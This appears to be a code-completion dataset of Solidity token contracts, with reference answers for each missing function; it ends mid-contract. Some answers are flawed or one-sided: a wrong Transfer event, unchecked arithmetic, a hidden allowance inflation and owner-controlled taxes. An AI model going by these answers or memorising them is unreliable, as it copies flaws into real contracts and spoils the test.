`spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } /** * @dev Sets {storeAddress} to a value. * */ function setStoreAddress(address storeAddress) external onlyOwner returns (bool) { require(storeAddress != address(0), 'Should not be zero address'); require(storeAddress != address(this), 'Should not be token address'); _storeAddress = storeAddress; return true; } /** * @dev Sets {_taxFee} to a value. * */ function setTaxFee(uint256 taxFee) external onlyOwner returns (bool) { if(taxFee < 0 || taxFee > 20) return false; _taxFee = taxFee; _maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee; return true; } /** * @dev Sets {_uniswapSellTaxFee} to a value. * */ function setUniswapSellTaxFee(uint256 uniswapSellTaxFee) external onlyOwner returns (bool) { if(uniswapSellTaxFee < 0 || uniswapSellTaxFee > 20) return false; _uniswapSellTaxFee = uniswapSellTaxFee; _maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee; return true; } /** * @dev See {_taxFee}. */ function taxFee() external view returns (uint256) { return _taxFee; } /** * @dev See {_uniswapSellTaxFee}. */ function uniswapSellTaxFee() external view returns (uint256) { return _uniswapSellTaxFee; } /** * @dev See {_storeAddress}. */ function storeAddress() external view returns (address) { return _storeAddress; } /** * @dev See {_maxTransactionAmount}. */ function maxTransactionAmount() external view returns (uint256) { return _maxTransactionAmount; } /** * @dev returns sorted token addresses, used to handle return values from pairs sorted in this order */ function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } /** * @dev calculates the CREATE2 address for a pair without making any external calls */ function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } }
contract degenCORE is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _taxFee; uint256 private _uniswapSellTaxFee; uint256 private _maxFee; address private _storeAddress; uint256 private _maxTransactionAmount; address private _UNIWethPoolAddress; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 totalSupply, uint256 taxFee, uint256 uniswapSellTaxFee, uint256 maxTransactionAmount) public { _name = name; _symbol = symbol; _decimals = 18; _taxFee = taxFee; _uniswapSellTaxFee = uniswapSellTaxFee; _maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee; _maxTransactionAmount = maxTransactionAmount; //_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //main net _UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xc778417E063141139Fce010982780140Aa0cD5Ab, address(this)); //ropsten test net //_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xd0A1E359811322d97991E03f863a0C30C2cF029C, address(this)); //kovan test net _mint(_msgSender(), totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { uint256 sellTaxAmount; if(spender == _UNIWethPoolAddress) { sellTaxAmount = amount.mul(_maxFee).div(100); } _approve(_msgSender(), spender, amount.add(sellTaxAmount)); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } <FILL_FUNCTION> /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } /** * @dev Sets {storeAddress} to a value. * */ function setStoreAddress(address storeAddress) external onlyOwner returns (bool) { require(storeAddress != address(0), 'Should not be zero address'); require(storeAddress != address(this), 'Should not be token address'); _storeAddress = storeAddress; return true; } /** * @dev Sets {_taxFee} to a value. * */ function setTaxFee(uint256 taxFee) external onlyOwner returns (bool) { if(taxFee < 0 || taxFee > 20) return false; _taxFee = taxFee; _maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee; return true; } /** * @dev Sets {_uniswapSellTaxFee} to a value. * */ function setUniswapSellTaxFee(uint256 uniswapSellTaxFee) external onlyOwner returns (bool) { if(uniswapSellTaxFee < 0 || uniswapSellTaxFee > 20) return false; _uniswapSellTaxFee = uniswapSellTaxFee; _maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee; return true; } /** * @dev See {_taxFee}. */ function taxFee() external view returns (uint256) { return _taxFee; } /** * @dev See {_uniswapSellTaxFee}. */ function uniswapSellTaxFee() external view returns (uint256) { return _uniswapSellTaxFee; } /** * @dev See {_storeAddress}. */ function storeAddress() external view returns (address) { return _storeAddress; } /** * @dev See {_maxTransactionAmount}. */ function maxTransactionAmount() external view returns (uint256) { return _maxTransactionAmount; } /** * @dev returns sorted token addresses, used to handle return values from pairs sorted in this order */ function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } /** * @dev calculates the CREATE2 address for a pair without making any external calls */ function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_storeAddress != address(0), "ERC20: store address is not set yet."); _beforeTokenTransfer(sender, recipient, amount); if(recipient != owner() && sender != owner() ) { require(amount <= _maxTransactionAmount, "ERC20: transfer amount exceeds limit"); } uint256 taxAmount; uint256 transfAmount; if(recipient == _UNIWethPoolAddress ) { taxAmount = amount.mul(_maxFee).div(100); transfAmount = amount; } else { taxAmount = amount.mul(_taxFee).div(100); transfAmount = amount.sub(taxAmount); } _balances[sender] = _balances[sender].sub(transfAmount.add(taxAmount), "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(transfAmount); _balances[_storeAddress] = _balances[_storeAddress].add(taxAmount); emit Transfer(sender, recipient, transfAmount); emit Transfer(sender, _storeAddress, taxAmount);
function _transfer(address sender, address recipient, uint256 amount) internal virtual
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual
33611
ERC20
transferFrom
contract ERC20 is ERC20Interface,SafeMath { mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) allowed; constructor(string memory _name) public { name = _name; symbol = "Klin"; decimals = 18; totalSupply = 2100000000000000000000000; balanceOf[msg.sender] = totalSupply; } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balanceOf[msg.sender] >= _value); require(balanceOf[ _to] + _value >= balanceOf[ _to]); balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ; balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to] ,_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool success) { require((_value==0)||(allowed[msg.sender][_spender]==0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract ERC20 is ERC20Interface,SafeMath { mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) allowed; constructor(string memory _name) public { name = _name; symbol = "Klin"; decimals = 18; totalSupply = 2100000000000000000000000; balanceOf[msg.sender] = totalSupply; } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balanceOf[msg.sender] >= _value); require(balanceOf[ _to] + _value >= balanceOf[ _to]); balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ; balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to] ,_value); emit Transfer(msg.sender, _to, _value); return true; } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool success) { require((_value==0)||(allowed[msg.sender][_spender]==0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[_from] =SafeMath.safeSub(balanceOf[_from],_value) ; balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to],_value); allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender], _value); emit Transfer(msg.sender, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
11172
YK
transferFrom
contract YK{ uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 public totalSupply; string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function YK() public { balances[msg.sender] = 15000000000000; // Give the creator all initial tokens totalSupply = 15000000000000; // Update total supply name = "Yikang"; // Set the name for display purposes decimals =4; // Amount of decimals for display purposes symbol = "YK"; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract YK{ uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 public totalSupply; string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function YK() public { balances[msg.sender] = 15000000000000; // Give the creator all initial tokens totalSupply = 15000000000000; // Update total supply name = "Yikang"; // Set the name for display purposes decimals =4; // Amount of decimals for display purposes symbol = "YK"; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } <FILL_FUNCTION> function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
77753
Contributor
publishExtension
contract Contributor { //=================Variables================ bool isInitiated = false; //Addresses address creatorAddress; address contributorAddress; address marketplaceAddress; //State string name; uint creationTime; bool isRepudiated = false; //Publications enum ExtensionType {MODULE, THEME} struct Extension { string name; string version; ExtensionType extType; string moduleKey; } mapping (string => Extension) private publications; //Modifiers modifier onlyBy(address _account) { require(msg.sender == _account); _; } //Events event newExtensionPublished (string _name, string _hash, string _version, ExtensionType _type, string _moduleKey); //=================Transactions================ //Constructor function Contributor(string _name, address _contributorAddress, address _marketplaceAddress) { creatorAddress = msg.sender; contributorAddress = _contributorAddress; marketplaceAddress = _marketplaceAddress; creationTime = now; name = _name; isInitiated = true; } //Publish a new extension in structure function publishExtension(string _hash, string _name, string _version, ExtensionType _type, string _moduleKey) onlyBy(creatorAddress) {<FILL_FUNCTION_BODY> } //=================Calls================ //Check if the contract is initialised function getInitiated() constant returns (bool) { return isInitiated; } //Return basic information about the contract function getInfos() constant returns (address, string, uint) { return (creatorAddress, name, creationTime); } //Return information about a module function getExtensionPublication(string _hash) constant returns (string, string, ExtensionType) { return (publications[_hash].name, publications[_hash].version, publications[_hash].extType); } function haveExtension(string _hash) constant returns (bool) { bool result = true; if (bytes(publications[_hash].name).length == 0) { result = false; } return result; } }
contract Contributor { //=================Variables================ bool isInitiated = false; //Addresses address creatorAddress; address contributorAddress; address marketplaceAddress; //State string name; uint creationTime; bool isRepudiated = false; //Publications enum ExtensionType {MODULE, THEME} struct Extension { string name; string version; ExtensionType extType; string moduleKey; } mapping (string => Extension) private publications; //Modifiers modifier onlyBy(address _account) { require(msg.sender == _account); _; } //Events event newExtensionPublished (string _name, string _hash, string _version, ExtensionType _type, string _moduleKey); //=================Transactions================ //Constructor function Contributor(string _name, address _contributorAddress, address _marketplaceAddress) { creatorAddress = msg.sender; contributorAddress = _contributorAddress; marketplaceAddress = _marketplaceAddress; creationTime = now; name = _name; isInitiated = true; } <FILL_FUNCTION> //=================Calls================ //Check if the contract is initialised function getInitiated() constant returns (bool) { return isInitiated; } //Return basic information about the contract function getInfos() constant returns (address, string, uint) { return (creatorAddress, name, creationTime); } //Return information about a module function getExtensionPublication(string _hash) constant returns (string, string, ExtensionType) { return (publications[_hash].name, publications[_hash].version, publications[_hash].extType); } function haveExtension(string _hash) constant returns (bool) { bool result = true; if (bytes(publications[_hash].name).length == 0) { result = false; } return result; } }
publications[_hash] = Extension(_name, _version, _type, _moduleKey); newExtensionPublished(_name, _hash, _version, _type, _moduleKey);
function publishExtension(string _hash, string _name, string _version, ExtensionType _type, string _moduleKey) onlyBy(creatorAddress)
//Publish a new extension in structure function publishExtension(string _hash, string _name, string _version, ExtensionType _type, string _moduleKey) onlyBy(creatorAddress)
67349
RVTCoin
null
contract RVTCoin is StandardToken, Pausable { string public constant name = 'Renvale Token'; string public constant symbol = 'RVT'; uint256 public constant decimals = 18; address public rvDepositAddress; uint256 public constant rvDeposit = 2000000000 * 10**decimals; constructor(address _rvDepositAddress) public {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) { return super.transfer(_to,_value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) { return super.approve(_spender, _value); } function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function burn(uint256 _value) public returns (bool success){ return super.burn(_value); } }
contract RVTCoin is StandardToken, Pausable { string public constant name = 'Renvale Token'; string public constant symbol = 'RVT'; uint256 public constant decimals = 18; address public rvDepositAddress; uint256 public constant rvDeposit = 2000000000 * 10**decimals; <FILL_FUNCTION> function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) { return super.transfer(_to,_value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) { return super.approve(_spender, _value); } function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function burn(uint256 _value) public returns (bool success){ return super.burn(_value); } }
rvDepositAddress = _rvDepositAddress; balances[rvDepositAddress] = rvDeposit; emit Transfer(0x0, rvDepositAddress, rvDeposit); totalSupply_ = rvDeposit;
constructor(address _rvDepositAddress) public
constructor(address _rvDepositAddress) public
12964
YUNToken
null
contract YUNToken is StandardERC20Token, Owned { address public vault; address public wallet; bool public isBurnable = true; event FreezeAccount ( address indexed target, bool freezed ); event WalletChanged ( address indexed oldWallet, address indexed newWallet ); constructor ( string tokenName, string tokenSymbol, uint256 initialSupply, address _vault, address _wallet ) StandardERC20Token(tokenName, tokenSymbol) public {<FILL_FUNCTION_BODY> } function freezeAccount(address target) onlyOwner public { require(target != owner); frozen[target] = true; emit FreezeAccount(target, true); } function unfreezeAccount(address target) onlyOwner public { frozen[target] = false; emit FreezeAccount(target, false); } function setWallet(address newWallet) onlyOwner public { require(newWallet != address(0)); emit WalletChanged(wallet, newWallet); wallet = newWallet; } function () public payable { wallet.transfer(msg.value); } function transferAnyERC20Token(address tokenAddress, uint tokens) onlyOwner public returns (bool success) { return ERC20Interface(tokenAddress).transfer(vault, tokens); } }
contract YUNToken is StandardERC20Token, Owned { address public vault; address public wallet; bool public isBurnable = true; event FreezeAccount ( address indexed target, bool freezed ); event WalletChanged ( address indexed oldWallet, address indexed newWallet ); <FILL_FUNCTION> function freezeAccount(address target) onlyOwner public { require(target != owner); frozen[target] = true; emit FreezeAccount(target, true); } function unfreezeAccount(address target) onlyOwner public { frozen[target] = false; emit FreezeAccount(target, false); } function setWallet(address newWallet) onlyOwner public { require(newWallet != address(0)); emit WalletChanged(wallet, newWallet); wallet = newWallet; } function () public payable { wallet.transfer(msg.value); } function transferAnyERC20Token(address tokenAddress, uint tokens) onlyOwner public returns (bool success) { return ERC20Interface(tokenAddress).transfer(vault, tokens); } }
require(vault == address(0)); require(_vault != address(0)); totalSupply = initialSupply * 10 ** uint256(decimals); vault = _vault; wallet = _wallet; balanceOfAddress[vault] = totalSupply;
constructor ( string tokenName, string tokenSymbol, uint256 initialSupply, address _vault, address _wallet ) StandardERC20Token(tokenName, tokenSymbol) public
constructor ( string tokenName, string tokenSymbol, uint256 initialSupply, address _vault, address _wallet ) StandardERC20Token(tokenName, tokenSymbol) public
13388
PHICrowdsale
makeReferalBonus
contract PHICrowdsale is Ownable, Crowdsale, MintableToken { using SafeMath for uint256; uint256 public ratePreIco = 600; uint256 public rateIco = 400; uint256 public weiMin = 0.03 ether; mapping (address => uint256) public deposited; uint256 public constant INITIAL_SUPPLY = 63 * 10**6 * (10 ** uint256(decimals)); uint256 public fundForSale = 60250 * 10**3 * (10 ** uint256(decimals)); uint256 fundTeam = 150 * 10**3 * (10 ** uint256(decimals)); uint256 fundAirdropPreIco = 250 * 10**3 * (10 ** uint256(decimals)); uint256 fundAirdropIco = 150 * 10**3 * (10 ** uint256(decimals)); uint256 fundBounty = 100 * 10**3 * (10 ** uint256(decimals)); uint256 fundAdvisor = 210 * 10**3 * (10 ** uint256(decimals)); uint256 fundReferal = 1890 * 10**3 * (10 ** uint256(decimals)); uint256 limitPreIco = 12 * 10**5 * (10 ** uint256(decimals)); address addressFundTeam = 0x26cfc82A77ECc5a493D72757936A78A089FA592a; address addressFundAirdropPreIco = 0x87953BAE7A92218FAcE2DDdb30AB2193263394Ef; address addressFundAirdropIco = 0xaA8C9cA32cC8A6A7FF5eCB705787C22d9400F377; address addressFundBounty = 0x253fBeb28dA7E85c720F66bbdCFC4D9418196EE5; address addressFundAdvisor = 0x61eAEe13A2a3805b57B46571EE97B6faf95fC34d; address addressFundReferal = 0x4BfB1bA71952DAC3886DCfECDdE2a4Fea2A06bDb; uint256 public startTimePreIco = 1538406000; // Mon, 01 Oct 2018 15:00:00 GMT uint256 public endTimePreIco = 1539129600; // Wed, 10 Oct 2018 00:00:00 GMT uint256 public startTimeIco = 1541300400; // Sun, 04 Nov 2018 03:00:00 GMT uint256 public endTimeIco = 1542931200; // Fri, 23 Nov 2018 00:00:00 GMT uint256 percentReferal = 5; uint256 public countInvestor; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(address indexed sender, uint256 tokenRaised, uint256 purchasedToken); event MinWeiLimitReached(address indexed sender, uint256 weiAmount); event Burn(address indexed burner, uint256 value); event CurrentPeriod(uint period); event ChangeTime(address indexed owner, uint256 newValue, uint256 oldValue); event ChangeAddressFund(address indexed owner, address indexed newAddress, address indexed oldAddress); constructor(address _owner, address _wallet) public Crowdsale(_wallet) { require(_owner != address(0)); owner = _owner; //owner = msg.sender; // $$$ for test's transfersEnabled = false; mintingFinished = false; totalSupply = INITIAL_SUPPLY; bool resultMintForOwner = mintForFund(owner); require(resultMintForOwner); } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); makeReferalBonus(tokens); emit TokenPurchase(_investor, weiAmount, tokens); if (deposited[_investor] == 0) { countInvestor = countInvestor.add(1); } deposit(_investor); wallet.transfer(weiAmount); return tokens; } function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) { uint256 currentDate = now; //currentDate = 1538438400; // (02 Oct 2018) // $$$ for test's //currentDate = 1540051200; // (20 Oct 2018) // $$$ for test's uint currentPeriod = 0; currentPeriod = getPeriod(currentDate); uint256 amountOfTokens = 0; if(currentPeriod > 0){ if(currentPeriod == 1){ amountOfTokens = _weiAmount.mul(ratePreIco); if (tokenAllocated.add(amountOfTokens) > limitPreIco) { currentPeriod = currentPeriod.add(1); } } if(currentPeriod == 2){ amountOfTokens = _weiAmount.mul(rateIco); } } emit CurrentPeriod(currentPeriod); return amountOfTokens; } function getPeriod(uint256 _currentDate) public view returns (uint) { if(_currentDate < startTimePreIco){ return 0; } if( startTimePreIco <= _currentDate && _currentDate <= endTimePreIco){ return 1; } 